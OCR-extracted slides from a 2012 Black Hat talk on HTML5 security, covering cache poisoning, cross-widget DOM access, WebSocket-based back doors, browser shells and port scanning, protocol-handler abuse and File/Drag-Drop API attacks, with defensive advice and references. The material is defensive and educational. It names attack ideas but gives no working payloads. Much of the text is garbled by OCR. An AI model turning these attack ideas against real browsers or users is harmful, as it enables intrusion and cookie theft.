Possible to attack and cache poisoning

— Untrusted network or proxy can inject malicious
script

— When you get on to actual app that script gets
executed and keep eye on your activities

bléék [_" - . A
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Widgets/Gadgets/Modules — popular with
HTMLS applications

Small programs runs under browser and using
Web Workers and Messaging

JavaScript and HTML based components

n some cases they share same DOM - Yes, same
DOM

t can cause a cross widget channels and
iframe/sandbox




Setting the trap

blg)ck hat
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It is possible to access DOM events, variables,
logic etc.

Sandbox is required at the architecture layer to
protect cross widget access

Segregating DOM by iframe may help

Flash based widget is having its own issues as
well

Code analysis of widgets before allowing them to
load

bléék [_" - . A
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D:/Trainings/Web2.0-2010/Web-2.0-Demos/domscan/Cross-Widget-Access.htm
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e HTMLS allows Web Socket APIs — full duplex
TCP channel through JavaScript

e Allows cross domain connection like CORS

 Possible threats

— Back door and browser shell
— Quick port scanning

— Botnet and malware can leverage (one to many
connections)

— Sniffer based on Web Socket
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* Allows internal scanning, setting backward
hidden channel, opening calls to proxy/cache.

e Some browsers have blocked these calls for

-::h Elements - Resources | 0 Network | r‘ Scripts @Tlmellne (;: Profiles gﬁxudns /9 Cansole

securlty reason.e..

192.168.100.1 Request URL: ws://192.168.1808.1/
_I 192.168.100.1 ¥ Request Headers
192.168.100.1 Connection: Upgrade
j Host: 192.168.188.1
Origin: http://www.andlabs.org
Sec-WebSocket-Key1: 33 8 66 & 7 wB 3~ 5 31
Sec-WebSocket-Key2: 67 1= B7%l % 76 8]
Upgrade: WebSocket
(Key3): BC:11:F@:16:68:BC:58:C8

Headers | Cookies Timing

2 requests | 0B transferred
Documents Stylesheets Images Scripts XHR

ABU DHABI 2012




Siiver I|ght

. API (Medla Geo etc.) &Messaging Presentation

A A A v
Parser/Threads ’
Process & Ilogic
WebSQL Cache ‘1’

Browser Native Network Services ’ Network

& Access

Ay S \/

SOP/CORS Core

Policies

blg)ck hat

ABU OHAEI 2012



—

.

Custom p;ﬁotocol/schema
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HTMLS allows custom protocol and schema
registration

Example
— navigator.registerProtocolHandler("mailto",

"http://www.foo.com/?uri=%s", “My Mail");

It is possible to abuse this feature in certain
cases

Browser follows and gets registered for same
domain though
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e HTMLS few other APIs are interesting from
security standpoint

— File APIs — allows local file access and can mixed
with ClickJacking and other attacks to gain client
files.

— Drag-Drop APIls — exploiting self XSS and few other
tricks, hijacking cookies ...

— Lot more to explore and defend...
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D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-watch/HTML5-iframe-watch.htm
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Resources/ References
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http://www.htmI5rocks.com/en/ (Solid stuff)

https://www.owasp.org/index.php/HTML5 Se
curity Cheat Sheet (OWASP stuff)

nttp://htmli5sec.org/ (Quick Cheat sheet)
nttp://htmli5security.org/ (Good resources)
http://blog.kotowicz.net/ (Interesting work)



http://www.html5rocks.com/en/
https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
http://html5sec.org/
http://html5security.org/
http://blog.kotowicz.net/
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Conclusion and Questions

http://shreeraj.blogspot.com

shreeraj@blueinfy.com
http://www.blueinfy.com




